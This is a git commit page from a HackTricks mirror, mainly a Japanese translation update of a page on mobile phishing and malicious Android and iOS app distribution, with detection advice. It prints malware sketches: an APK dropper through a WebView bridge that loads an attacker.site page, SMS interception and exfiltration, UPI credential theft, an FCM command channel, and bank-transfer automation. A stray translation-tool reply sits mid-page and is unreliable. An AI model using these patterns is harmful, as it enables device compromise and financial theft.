mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/generic-methodologies-and-resources/phishing-methodolog
This commit is contained in:
		
							parent
							
								
									018f49b603
								
							
						
					
					
						commit
						a18d575c56
					
				| @ -17,7 +17,7 @@ handler2.setLevel(logging.ERROR) | ||||
| logger.addHandler(handler2) | ||||
| 
 | ||||
| 
 | ||||
| def findtitle(search ,obj, key, path=(),): | ||||
| def findtitle(search, obj, key, path=()): | ||||
|     # logger.debug(f"Looking for {search} in {path}") | ||||
|     if isinstance(obj, dict) and key in obj and obj[key] == search:  | ||||
|         return obj, path | ||||
| @ -54,26 +54,42 @@ def ref(matchobj): | ||||
|             if href.endswith("/"): | ||||
|                 href = href+"README.md" # Fix if ref points to a folder | ||||
|             if "#" in  href: | ||||
|                 chapter, _path = findtitle(href.split("#")[0], book, "source_path") | ||||
|                 title = " ".join(href.split("#")[1].split("-")).title() | ||||
|                 logger.debug(f'Ref has # using title: {title}') | ||||
|                 result = findtitle(href.split("#")[0], book, "source_path") | ||||
|                 if result is not None: | ||||
|                     chapter, _path = result | ||||
|                     title = " ".join(href.split("#")[1].split("-")).title() | ||||
|                     logger.debug(f'Ref has # using title: {title}') | ||||
|                 else: | ||||
|                     raise Exception(f"Chapter not found for path: {href.split('#')[0]}") | ||||
|             else: | ||||
|                 chapter, _path = findtitle(href, book, "source_path") | ||||
|                 logger.debug(f'Recursive title search result: {chapter["name"]}') | ||||
|                 title = chapter['name'] | ||||
|                 result = findtitle(href, book, "source_path") | ||||
|                 if result is not None: | ||||
|                     chapter, _path = result | ||||
|                     logger.debug(f'Recursive title search result: {chapter["name"]}') | ||||
|                     title = chapter['name'] | ||||
|                 else: | ||||
|                     raise Exception(f"Chapter not found for path: {href}") | ||||
|         except Exception as e: | ||||
|             dir = path.dirname(current_chapter['source_path']) | ||||
|             rel_path = path.normpath(path.join(dir,href)) | ||||
|             try: | ||||
|                 logger.debug(f'Not found chapter title from: {href} -- trying with relative path {rel_path}') | ||||
|                 if "#" in  href: | ||||
|                     chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path") | ||||
|                     title = " ".join(href.split("#")[1].split("-")).title() | ||||
|                     logger.debug(f'Ref has # using title: {title}') | ||||
|                     result = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path") | ||||
|                     if result is not None: | ||||
|                         chapter, _path = result | ||||
|                         title = " ".join(href.split("#")[1].split("-")).title() | ||||
|                         logger.debug(f'Ref has # using title: {title}') | ||||
|                     else: | ||||
|                         raise Exception(f"Chapter not found for relative path: {path.normpath(path.join(dir,href.split('#')[0]))}") | ||||
|                 else: | ||||
|                     chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path") | ||||
|                     title = chapter["name"] | ||||
|                     logger.debug(f'Recursive title search result: {chapter["name"]}') | ||||
|                     result = findtitle(path.normpath(path.join(dir,href)), book, "source_path") | ||||
|                     if result is not None: | ||||
|                         chapter, _path = result | ||||
|                         title = chapter["name"] | ||||
|                         logger.debug(f'Recursive title search result: {chapter["name"]}') | ||||
|                     else: | ||||
|                         raise Exception(f"Chapter not found for relative path: {path.normpath(path.join(dir,href))}") | ||||
|             except Exception as e: | ||||
|                 logger.debug(e) | ||||
|                 logger.error(f'Error getting chapter title: {rel_path}') | ||||
|  | ||||
| @ -768,7 +768,7 @@ | ||||
|     - [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md) | ||||
|   - [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md) | ||||
|   - [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md) | ||||
| - [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md) | ||||
| - [ROP & JOP](binary-exploitation/rop-return-oriented-programing/README.md) | ||||
|   - [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md) | ||||
|   - [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md) | ||||
|   - [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md) | ||||
| @ -837,8 +837,9 @@ | ||||
|   - [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md) | ||||
|   - [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md) | ||||
| - [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md) | ||||
| - [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md) | ||||
| - [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) | ||||
| - [iOS Exploiting](binary-exploitation/ios-exploiting/README.md) | ||||
| - [iOS Exploiting](binary-exploitation/ios-exploiting.md) | ||||
| 
 | ||||
| # 🤖 AI | ||||
| - [AI Security](AI/README.md) | ||||
|  | ||||
| @ -1,67 +1,66 @@ | ||||
| # モバイルフィッシングと悪意のあるアプリ配布 (Android & iOS) | ||||
| # モバイルフィッシングと悪質アプリ配布 (Android & iOS) | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
| 
 | ||||
| > [!INFO] | ||||
| > このページでは、脅威アクターがフィッシング(SEO、ソーシャルエンジニアリング、偽のストア、出会い系アプリなど)を通じて**悪意のあるAndroid APK**と**iOSモバイル構成プロファイル**を配布するために使用する技術をカバーしています。 | ||||
| > この資料は、Zimperium zLabsによって暴露されたSarangTrapキャンペーン(2025年)およびその他の公的研究から適応されています。 | ||||
| > このページはフィッシング(SEO、ソーシャルエンジニアリング、偽ストア、出会い系アプリ等)を通じて、**悪質な Android APK** と **iOS の mobile-configuration プロファイル** を配布するために脅威アクターが使う技術を扱います。資料は Zimperium zLabs が公開した SarangTrap キャンペーン(2025)やその他の公開リサーチを基にしています。 | ||||
| 
 | ||||
| ## 攻撃フロー | ||||
| 
 | ||||
| 1. **SEO/フィッシングインフラ** | ||||
| * 類似ドメイン(出会い系、クラウド共有、車サービスなど)を多数登録します。 | ||||
| – Googleでランク付けするために、`<title>`要素に現地の言語のキーワードと絵文字を使用します。 | ||||
| – Android(`.apk`)とiOSのインストール手順の*両方*を同じランディングページにホストします。 | ||||
| 2. **第一段階のダウンロード** | ||||
| * Android: *署名されていない*または「サードパーティストア」のAPKへの直接リンク。 | ||||
| * iOS: 悪意のある**mobileconfig**プロファイルへの`itms-services://`または通常のHTTPSリンク(下記参照)。 | ||||
| 1. **SEO/フィッシング インフラ** | ||||
| * 類似ドメインを数十件登録(出会い系、クラウド共有、車のサービス…)。 | ||||
| – `<title>` 要素に現地語のキーワードや絵文字を入れて Google での順位を狙う。 | ||||
| – 同一ランディングページに Android (`.apk`) と iOS のインストール手順を両方ホストする。 | ||||
| 2. **第一段階ダウンロード** | ||||
| * Android: *unsigned* または「サードパーティストア」APK への直接リンク。 | ||||
| * iOS: `itms-services://` または通常の HTTPS リンクで悪質な **mobileconfig** プロファイルへ誘導(下参照)。 | ||||
| 3. **インストール後のソーシャルエンジニアリング** | ||||
| * 初回起動時にアプリが**招待/確認コード**を要求します(排他的アクセスの幻想)。 | ||||
| * コードは**HTTP経由でPOST**され、コマンド&コントロール(C2)に送信されます。 | ||||
| * C2は`{"success":true}`と応答 ➜ マルウェアが続行します。 | ||||
| * 有効なコードを提出しないサンドボックス/AVの動的分析は**悪意のある動作を見ない**(回避)。 | ||||
| 4. **ランタイム権限の悪用** (Android) | ||||
| * 危険な権限は**C2の肯定的な応答の後にのみ要求されます**: | ||||
| * 初回起動時にアプリが **招待コード / 検証コード** を要求(限定アクセスの印象を与える)。 | ||||
| * コードは Command-and-Control (C2) に **HTTP で POST** される。 | ||||
| * C2 が `{"success":true}` を返す ➜ マルウェアは動作を続行。 | ||||
| * 有効なコードを送信しないサンドボックス/AV の動的解析は **悪意ある挙動を検出できない**(回避)。 | ||||
| 4. **実行時パーミッション濫用** (Android) | ||||
| * 危険なパーミッションは **C2 が肯定応答した後にのみ要求** される: | ||||
| ```xml | ||||
| <uses-permission android:name="android.permission.READ_CONTACTS"/> | ||||
| <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/> | ||||
| <uses-permission android:name="android.permission.READ_PHONE_STATE"/> | ||||
| <!-- 古いビルドではSMS権限も要求されていました --> | ||||
| <!-- Older builds also asked for SMS permissions --> | ||||
| ``` | ||||
| * 最近のバリアントは**`AndroidManifest.xml`からSMSのための`<uses-permission>`を削除**しますが、リフレクションを通じてSMSを読み取るJava/Kotlinコードパスは残します ⇒ 権限を`AppOps`の悪用や古いターゲットを介して付与するデバイスで機能しながら静的スコアを下げます。 | ||||
| 5. **ファサードUIとバックグラウンド収集** | ||||
| * アプリは無害なビュー(SMSビューワー、ギャラリーピッカー)をローカルに実装して表示します。 | ||||
| * 同時に以下を外部流出させます: | ||||
| * 最近のバリアントは `AndroidManifest.xml` から SMS 用の `<uses-permission>` を削除するが、Java/Kotlin のコードパスではリフレクション経由で SMS を読む処理が残っている ⇒ 静的スコアを下げつつ、AppOps の悪用や古いターゲットでの権限付与時には機能する。 | ||||
| 5. **見せかけの UI とバックグラウンド収集** | ||||
| * アプリはローカル実装された無害なビュー(SMS ビューア、ギャラリーピッカー)を表示する。 | ||||
| * その間に以下を吸い上げる: | ||||
| - IMEI / IMSI、電話番号 | ||||
| - 完全な`ContactsContract`ダンプ(JSON配列) | ||||
| - サイズを減らすために[Luban](https://github.com/Curzibn/Luban)で圧縮された`/sdcard/DCIM`からのJPEG/PNG | ||||
| - オプションのSMS内容(`content://sms`) | ||||
| ペイロードは**バッチ圧縮**され、`HTTP POST /upload.php`経由で送信されます。 | ||||
| 6. **iOS配信技術** | ||||
| * 単一の**モバイル構成プロファイル**は、デバイスを「MDM」のような監視に登録するために`PayloadType=com.apple.sharedlicenses`、`com.apple.managedConfiguration`などを要求できます。 | ||||
| * ソーシャルエンジニアリングの指示: | ||||
| 1. 設定を開く ➜ *プロファイルがダウンロードされました*。 | ||||
| 2. *インストール*を3回タップ(フィッシングページのスクリーンショット)。 | ||||
| 3. 署名されていないプロファイルを信頼する ➜ 攻撃者は*連絡先*と*写真*の権限をApp Storeのレビューなしで取得します。 | ||||
| - フルな `ContactsContract` ダンプ(JSON 配列) | ||||
| - `/sdcard/DCIM` からの JPEG/PNG を [Luban](https://github.com/Curzibn/Luban) で圧縮してサイズを削減 | ||||
| - 任意で SMS 内容(`content://sms`) | ||||
| ペイロードは **バッチで zip** 化され `HTTP POST /upload.php` 経由で送信される。 | ||||
| 6. **iOS 配布手法** | ||||
| * 1 つの **mobile-configuration プロファイル** で `PayloadType=com.apple.sharedlicenses`、`com.apple.managedConfiguration` などを要求し、MDM ライクな監督下にデバイスを登録できる。 | ||||
| * ソーシャルエンジニアリング手順: | ||||
| 1. 設定を開く ➜ *Profile downloaded*。 | ||||
| 2. ランディングページのスクリーンショット通りに *Install* を 3 回タップ。 | ||||
| 3. 署名されていないプロファイルを信頼する ➜ 攻撃者は App Store レビューを経ずに *Contacts* と *Photo* の権限を得る。 | ||||
| 7. **ネットワーク層** | ||||
| * 通常のHTTP、しばしばポート80で、`api.<phishingdomain>.com`のようなHOSTヘッダーを使用します。 | ||||
| * `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)`(TLSなし → 簡単に見つけられる)。 | ||||
| * 平文 HTTP、しばしばポート 80 で HOST ヘッダは `api.<phishingdomain>.com` のようになる。 | ||||
| * `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)`(TLS を使わないため発見が容易)。 | ||||
| 
 | ||||
| ## 防御テスト / レッドチームのヒント | ||||
| ## Defensive Testing / Red-Team Tips | ||||
| 
 | ||||
| * **動的分析の回避** – マルウェア評価中に、Frida/Objectionを使用して招待コードフェーズを自動化し、悪意のあるブランチに到達します。 | ||||
| * **マニフェストとランタイムの差分** – `aapt dump permissions`とランタイムの`PackageManager#getRequestedPermissions()`を比較します;危険な権限が欠けているのは赤信号です。 | ||||
| * **ネットワークカナリア** – `iptables -p tcp --dport 80 -j NFQUEUE`を設定して、コード入力後の不正なPOSTバーストを検出します。 | ||||
| * **mobileconfig検査** – macOSで`security cms -D -i profile.mobileconfig`を使用して`PayloadContent`をリストし、過剰な権限を特定します。 | ||||
| * **Dynamic Analysis Bypass** – マルウェア評価時に Frida/Objection で招待コードフェーズを自動化し、悪性分岐に到達する。 | ||||
| * **Manifest vs. Runtime Diff** – `aapt dump permissions` と実行時の `PackageManager#getRequestedPermissions()` を比較;危険なパーミッションが欠けているのはレッドフラッグ。 | ||||
| * **Network Canary** – `iptables -p tcp --dport 80 -j NFQUEUE` を設定して、コード入力後の不自然な POST バーストを検出する。 | ||||
| * **mobileconfig Inspection** – macOS で `security cms -D -i profile.mobileconfig` を使い `PayloadContent` を列挙して過剰な権限を見つける。 | ||||
| 
 | ||||
| ## ブルーチームの検出アイデア | ||||
| ## Blue-Team Detection Ideas | ||||
| 
 | ||||
| * **証明書の透明性 / DNS分析**で、キーワードが豊富なドメインの突然のバーストをキャッチします。 | ||||
| * **User-Agent & Path Regex**: `(?i)POST\s+/(check|upload)\.php`をGoogle Play外のDalvikクライアントから取得します。 | ||||
| * **招待コードのテレメトリ** – APKインストール後すぐに6〜8桁の数値コードのPOSTは、ステージングを示す可能性があります。 | ||||
| * **MobileConfig署名** – MDMポリシーを介して署名されていない構成プロファイルをブロックします。 | ||||
| * **Certificate Transparency / DNS Analytics** によりキーワード豊富なドメインの急増を捕捉。 | ||||
| * **User-Agent & Path Regex**: Google Play 外の Dalvik クライアントからの `(?i)POST\s+/(check|upload)\.php` を検出。 | ||||
| * **Invite-code Telemetry** – APK インストール直後に 6–8 桁の数字コードを POST する通信はステージングの兆候。 | ||||
| * **MobileConfig Signing** – MDM ポリシーで署名されていない構成プロファイルをブロック。 | ||||
| 
 | ||||
| ## 有用なFridaスニペット: 招待コードの自動バイパス | ||||
| ## Useful Frida Snippet: Auto-Bypass Invitation Code | ||||
| ```python | ||||
| # frida -U -f com.badapp.android -l bypass.js --no-pause | ||||
| # Hook HttpURLConnection write to always return success | ||||
| @ -80,7 +79,7 @@ return conn; | ||||
| }; | ||||
| }); | ||||
| ``` | ||||
| ## インジケーター (一般) | ||||
| ## インジケーター(汎用) | ||||
| ``` | ||||
| /req/checkCode.php        # invite code validation | ||||
| /upload.php               # batched ZIP exfiltration | ||||
| @ -88,30 +87,30 @@ LubanCompress 1.1.8       # "Luban" string inside classes.dex | ||||
| ``` | ||||
| --- | ||||
| 
 | ||||
| ## Android WebView Payment Phishing (UPI) – ドロッパー + FCM C2 パターン | ||||
| ## Android WebView Payment Phishing (UPI) – Dropper + FCM C2 パターン | ||||
| 
 | ||||
| このパターンは、インドのUPI資格情報とOTPを盗むために政府の利益テーマを悪用するキャンペーンで観察されています。オペレーターは、配信と耐障害性のために信頼できるプラットフォームを連鎖させます。 | ||||
| このパターンは、政府給付をテーマにしたキャンペーンで観測され、インドの UPI 資格情報や OTP を盗むために悪用されている。オペレーターは配布と耐障害性のために信用あるプラットフォームを連鎖させる。 | ||||
| 
 | ||||
| ### 信頼できるプラットフォーム間の配信チェーン | ||||
| - YouTube動画の誘引 → 説明に短縮リンクが含まれている | ||||
| - 短縮リンク → 正規ポータルを模倣したGitHub Pagesフィッシングサイト | ||||
| - 同じGitHubリポジトリが、ファイルに直接リンクする偽の「Google Play」バッジを持つAPKをホスト | ||||
| - 動的フィッシングページはReplit上に存在し、リモートコマンドチャネルはFirebase Cloud Messaging (FCM)を使用 | ||||
| ### 信頼されたプラットフォームにまたがる配布チェーン | ||||
| - YouTube video lure → 説明欄に短縮リンクが含まれる | ||||
| - 短縮リンク → GitHub Pages の phishing site(正規ポータルを模倣) | ||||
| - 同じ GitHub repo が、ファイルに直接リンクする偽の「Google Play」バッジ付きの APK をホストしている | ||||
| - 動的な phishing ページは Replit 上でホストされ、リモートコマンドチャネルは Firebase Cloud Messaging (FCM) を使用する | ||||
| 
 | ||||
| ### 埋め込まれたペイロードとオフラインインストールを持つドロッパー | ||||
| - 最初のAPKはインストーラー(ドロッパー)で、`assets/app.apk`に本物のマルウェアを搭載し、ユーザーにクラウド検出を鈍らせるためにWi-Fi/モバイルデータを無効にするよう促す。 | ||||
| - 埋め込まれたペイロードは無害なラベル(例:「セキュアアップデート」)の下にインストールされる。インストール後、インストーラーとペイロードは別々のアプリとして存在する。 | ||||
| ### Dropper と組み込み payload、およびオフラインインストール | ||||
| - 最初の APK は installer (dropper) で、実際の malware を `assets/app.apk` として同梱し、クラウド検出を鈍らせるためにユーザーに Wi‑Fi/モバイルデータを無効化するよう促す。 | ||||
| - 組み込み payload は無害に見えるラベル(例:“Secure Update”)でインストールされる。インストール後、installer と payload は別個のアプリとして存在する。 | ||||
| 
 | ||||
| 静的トリアージのヒント(埋め込まれたペイロードをgrepする): | ||||
| 静的トリアージのヒント (grep for embedded payloads): | ||||
| ```bash | ||||
| unzip -l sample.apk | grep -i "assets/app.apk" | ||||
| # Or: | ||||
| zipgrep -i "classes|.apk" sample.apk | head | ||||
| ``` | ||||
| ### ダイナミックエンドポイント発見 via shortlink | ||||
| - マルウェアはshortlinkからプレーンテキストのカンマ区切りのライブエンドポイントリストを取得します。シンプルな文字列変換により、最終的なフィッシングページのパスが生成されます。 | ||||
| ### shortlinkによる動的エンドポイント検出 | ||||
| - Malwareはshortlinkからプレーンテキストのカンマ区切りライブエンドポイント一覧を取得し、単純な文字列変換で最終的なphishingページのパスを生成する。 | ||||
| 
 | ||||
| Example (sanitised): | ||||
| 例(サニタイズ済み): | ||||
| ``` | ||||
| GET https://rebrand.ly/dclinkto2 | ||||
| Response: https://sqcepo.replit.app/gate.html,https://sqcepo.replit.app/addsm.php | ||||
| @ -119,7 +118,7 @@ Transform: "gate.html" → "gate.htm" (loaded in WebView) | ||||
| UPI credential POST: https://sqcepo.replit.app/addup.php | ||||
| SMS upload:           https://sqcepo.replit.app/addsm.php | ||||
| ``` | ||||
| 擬似コード: | ||||
| 疑似コード: | ||||
| ```java | ||||
| String csv = httpGet(shortlink); | ||||
| String[] parts = csv.split(","); | ||||
| @ -128,7 +127,7 @@ String smsPost = parts[1]; | ||||
| String credsPost = upiPage.replace("gate.htm", "addup.php"); | ||||
| ``` | ||||
| ### WebViewベースのUPI認証情報収集 | ||||
| - 「₹1 / UPI‑Liteの支払いを行う」ステップは、WebView内の動的エンドポイントから攻撃者のHTMLフォームを読み込み、敏感なフィールド(電話、銀行、UPI PIN)をキャプチャし、それらを`addup.php`に`POST`します。 | ||||
| - 「Make payment of ₹1 / UPI‑Lite」ステップは、WebView内で動的エンドポイントから攻撃者のHTMLフォームを読み込み、機密フィールド(電話番号、銀行、UPI PIN)をキャプチャし、それらを`POST`で`addup.php`に送信します。 | ||||
| 
 | ||||
| 最小ローダー: | ||||
| ```java | ||||
| @ -136,18 +135,18 @@ WebView wv = findViewById(R.id.web); | ||||
| wv.getSettings().setJavaScriptEnabled(true); | ||||
| wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm | ||||
| ``` | ||||
| ### 自己伝播とSMS/OTPインターセプション | ||||
| - 初回実行時に攻撃的な権限が要求される: | ||||
| ### 自己伝播とSMS/OTPの傍受 | ||||
| - 初回実行時に過剰な権限が要求される: | ||||
| ```xml | ||||
| <uses-permission android:name="android.permission.READ_CONTACTS"/> | ||||
| <uses-permission android:name="android.permission.SEND_SMS"/> | ||||
| <uses-permission android:name="android.permission.READ_SMS"/> | ||||
| <uses-permission android:name="android.permission.CALL_PHONE"/> | ||||
| ``` | ||||
| - 連絡先は、被害者のデバイスからスミッシングSMSを一斉送信するためにループされます。 | ||||
| - 受信したSMSはブロードキャストレシーバーによって傍受され、メタデータ(送信者、本文、SIMスロット、デバイスごとのランダムID)と共に`/addsm.php`にアップロードされます。 | ||||
| - 連絡先をループ処理して、被害者のデバイスからsmishing SMSを大量送信する。 | ||||
| - 受信したSMSは broadcast receiver によって傍受され、メタデータ(sender, body, SIM slot, per-device random ID)とともに `/addsm.php` にアップロードされる。 | ||||
| 
 | ||||
| Receiver sketch: | ||||
| 受信機のスケッチ: | ||||
| ```java | ||||
| public void onReceive(Context c, Intent i){ | ||||
| SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i); | ||||
| @ -161,10 +160,10 @@ postForm(urlAddSms, new FormBody.Builder() | ||||
| } | ||||
| } | ||||
| ``` | ||||
| ### Firebase Cloud Messaging (FCM) を堅牢な C2 として使用 | ||||
| - ペイロードは FCM に登録され、プッシュメッセージはアクションをトリガーするために使用される `_type` フィールドを持っています(例:フィッシングテキストテンプレートの更新、動作の切り替え)。 | ||||
| ### Firebase Cloud Messaging (FCM) を回復力のある C2 として | ||||
| - ペイロードは FCM に登録されます。プッシュメッセージはアクションをトリガーするスイッチとして使用される `_type` フィールドを含みます(例: phishing テキストテンプレートを更新、挙動を切り替え)。 | ||||
| 
 | ||||
| 例 FCM ペイロード: | ||||
| FCM のペイロード例: | ||||
| ```json | ||||
| { | ||||
| "to": "<device_fcm_token>", | ||||
| @ -174,7 +173,7 @@ postForm(urlAddSms, new FormBody.Builder() | ||||
| } | ||||
| } | ||||
| ``` | ||||
| ハンドラースケッチ: | ||||
| ハンドラの概略: | ||||
| ```java | ||||
| @Override | ||||
| public void onMessageReceived(RemoteMessage msg){ | ||||
| @ -186,27 +185,182 @@ case "smish": sendSmishToContacts(); break; | ||||
| } | ||||
| } | ||||
| ``` | ||||
| ### ハンティングパターンとIOC | ||||
| - APKは`assets/app.apk`に二次ペイロードを含む | ||||
| - WebViewは`gate.htm`から支払いを読み込み、`/addup.php`に外部送信する | ||||
| - SMSは`/addsm.php`に外部送信する | ||||
| - 短縮リンク駆動の設定取得(例:`rebrand.ly/*`)がCSVエンドポイントを返す | ||||
| - 一般的な「更新/セキュア更新」としてラベル付けされたアプリ | ||||
| - 信頼できないアプリでの`_type`識別子を持つFCM `data`メッセージ | ||||
| ### ハンティングパターンとIOCs | ||||
| - APK contains secondary payload at `assets/app.apk` | ||||
| - WebView loads payment from `gate.htm` and exfiltrates to `/addup.php` | ||||
| - SMS exfiltration to `/addsm.php` | ||||
| - Shortlink-driven config fetch (e.g., `rebrand.ly/*`) returning CSV endpoints | ||||
| - Apps labelled as generic “Update/Secure Update” | ||||
| - FCM `data` messages with a `_type` discriminator in untrusted apps | ||||
| 
 | ||||
| ### 検出と防御のアイデア | ||||
| - インストール中にユーザーにネットワークを無効にするよう指示し、`assets/`から二次APKをサイドロードするアプリをフラグ付けする | ||||
| - 権限タプル:`READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + WebViewベースの支払いフローにアラートを出す | ||||
| - 非企業ホストでの`POST /addup.php|/addsm.php`の出口監視;既知のインフラをブロックする | ||||
| - モバイルEDRルール:FCMに登録し、`_type`フィールドで分岐する信頼できないアプリ | ||||
| ### 検知と防御のアイデア | ||||
| - インストール中にネットワークを無効にするようユーザーに指示し、その後 `assets/` から2次APKをサイドロードするアプリを検出対象にする。 | ||||
| - 権限の組み合わせ `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` と WebViewベースの決済フローに対してアラートを出す。 | ||||
| - 非企業ホストでの `POST /addup.php|/addsm.php` に対するアウトバウンド通信を監視し、既知のインフラをブロックする。 | ||||
| - Mobile EDRルール:FCMに登録し、`_type` フィールドで分岐する信頼されていないアプリを検出。 | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ## 参考文献 | ||||
| ## Android Accessibility/Overlay & Device Admin Abuse、ATS automation、およびNFC relay orchestration – RatOnケーススタディ | ||||
| 
 | ||||
| The RatOn banker/RAT campaign (ThreatFabric)は、モダンなモバイルフィッシングがどのようにWebView droppers、Accessibility-driven UI automation、overlays/ransom、Device Admin coercion、Automated Transfer System (ATS)、crypto wallet takeover、さらにはNFC-relay orchestrationを組み合わせるかの具体例である。このセクションでは再利用可能なテクニックを抽象化する。 | ||||
| 
 | ||||
| ### Stage-1: WebView → native install bridge (dropper) | ||||
| 攻撃者は攻撃者ページを指すWebViewを表示し、ネイティブインストーラを公開するJavaScriptインターフェースを注入する。HTMLボタンのタップがネイティブコードを呼び出し、dropperのassetsにバンドルされた第2ステージのAPKをインストールして直接起動する。 | ||||
| 
 | ||||
| Minimal pattern: | ||||
| ```java | ||||
| public class DropperActivity extends Activity { | ||||
| @Override protected void onCreate(Bundle b){ | ||||
| super.onCreate(b); | ||||
| WebView wv = new WebView(this); | ||||
| wv.getSettings().setJavaScriptEnabled(true); | ||||
| wv.addJavascriptInterface(new Object(){ | ||||
| @android.webkit.JavascriptInterface | ||||
| public void installApk(){ | ||||
| try { | ||||
| PackageInstaller pi = getPackageManager().getPackageInstaller(); | ||||
| PackageInstaller.SessionParams p = new PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL); | ||||
| int id = pi.createSession(p); | ||||
| try (PackageInstaller.Session s = pi.openSession(id); | ||||
| InputStream in = getAssets().open("payload.apk"); | ||||
| OutputStream out = s.openWrite("base.apk", 0, -1)){ | ||||
| byte[] buf = new byte[8192]; int r; while((r=in.read(buf))>0){ out.write(buf,0,r);} s.fsync(out); | ||||
| } | ||||
| PendingIntent status = PendingIntent.getBroadcast(this, 0, new Intent("com.evil.INSTALL_DONE"), PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE); | ||||
| pi.commit(id, status.getIntentSender()); | ||||
| } catch (Exception e) { /* log */ } | ||||
| } | ||||
| }, "bridge"); | ||||
| setContentView(wv); | ||||
| wv.loadUrl("https://attacker.site/install.html"); | ||||
| } | ||||
| } | ||||
| ``` | ||||
| HTMLが提示されていません。翻訳したいHTMLまたは該当するページ内容(Markdownを含む)を貼り付けてください。 | ||||
| 
 | ||||
| 注意事項: | ||||
| - code、ハッキング手法名、一般的なハッキング用語、クラウド/SaaS名(Workspace、aws、gcpなど)、"leak"、pentesting、リンクやパス、Markdown/HTMLタグは翻訳しません。 | ||||
| - タグやリンクの構文(例: {#tabs}、{#ref}、ファイルパスなど)はそのまま保持します。 | ||||
| ```html | ||||
| <button onclick="bridge.installApk()">Install</button> | ||||
| ``` | ||||
| インストール後、dropper は explicit package/activity を介して payload を起動します: | ||||
| ```java | ||||
| Intent i = new Intent(); | ||||
| i.setClassName("com.stage2.core", "com.stage2.core.MainActivity"); | ||||
| startActivity(i); | ||||
| ``` | ||||
| Hunting idea: untrusted apps calling `addJavascriptInterface()` and exposing installer-like methods to WebView; APK shipping an embedded secondary payload under `assets/` and invoking the Package Installer Session API. | ||||
| 
 | ||||
| ### 同意取得フロー:Accessibility + Device Admin + その後のランタイムプロンプト | ||||
| Stage-2 は “Access” ページをホストする WebView を開く。ページのボタンはエクスポートされたメソッドを呼び出し、被害者を Accessibility 設定へ遷移させて不正サービスの有効化を要求する。有効化されると、マルウェアは Accessibility を使って以降のランタイム許可ダイアログ(contacts、overlay、manage system settings など)を自動クリックし、Device Admin を要求する。 | ||||
| 
 | ||||
| - Accessibility はプログラム的にノードツリー内の「Allow」/「OK」などのボタンを検出し、クリックイベントを送信して後続のプロンプトを承認するのに用いられる。 | ||||
| - Overlay 権限の確認/要求: | ||||
| ```java | ||||
| if (!Settings.canDrawOverlays(ctx)) { | ||||
| Intent i = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION, | ||||
| Uri.parse("package:" + ctx.getPackageName())); | ||||
| ctx.startActivity(i); | ||||
| } | ||||
| ``` | ||||
| 参照: | ||||
| 
 | ||||
| {{#ref}} | ||||
| ../../mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md | ||||
| {{#endref}} | ||||
| 
 | ||||
| ### WebView を利用したオーバーレイ phishing/ransom | ||||
| オペレーターは以下のコマンドを実行できる: | ||||
| - URL からフルスクリーンのオーバーレイを表示する、または | ||||
| - inline HTML を渡し、それを WebView オーバーレイにロードする。 | ||||
| 
 | ||||
| 想定される用途:強制(PIN入力)、wallet を開いて PIN を取得、ransom メッセージ送信。オーバーレイ権限が不足している場合に備え、権限が付与されているか確認するコマンドを用意しておくこと。 | ||||
| 
 | ||||
| ### リモートコントロールモデル – テキスト疑似スクリーン + screen-cast | ||||
| - 低帯域:定期的に Accessibility node tree をダンプし、visible texts/roles/bounds をシリアライズして擬似スクリーンとして C2 に送信する(`txt_screen` は一回、`screen_live` は継続的、のようなコマンド)。 | ||||
| - 高忠実度:MediaProjection を要求し、オンデマンドで screen-casting/recording を開始する(`display` / `record` のようなコマンド)。 | ||||
| 
 | ||||
| ### ATS playbook(bank app automation) | ||||
| JSON task を受け取り、銀行アプリを開き、Accessibility 経由で UI を操作する。テキストクエリと座標タップを組み合わせ、プロンプトが出たら被害者の payment PIN を入力する。 | ||||
| 
 | ||||
| Example task: | ||||
| ```json | ||||
| { | ||||
| "cmd": "transfer", | ||||
| "receiver_address": "ACME s.r.o.", | ||||
| "account": "123456789/0100", | ||||
| "amount": "24500.00", | ||||
| "name": "ACME" | ||||
| } | ||||
| ``` | ||||
| Example texts seen in one target flow (CZ → EN): | ||||
| - "Nová platba" → "新しい支払い" | ||||
| - "Zadat platbu" → "支払いを入力" | ||||
| - "Nový příjemce" → "新しい受取人" | ||||
| - "Domácí číslo účtu" → "国内口座番号" | ||||
| - "Další" → "次へ" | ||||
| - "Odeslat" → "送信" | ||||
| - "Ano, pokračovat" → "はい、続行する" | ||||
| - "Zaplatit" → "支払う" | ||||
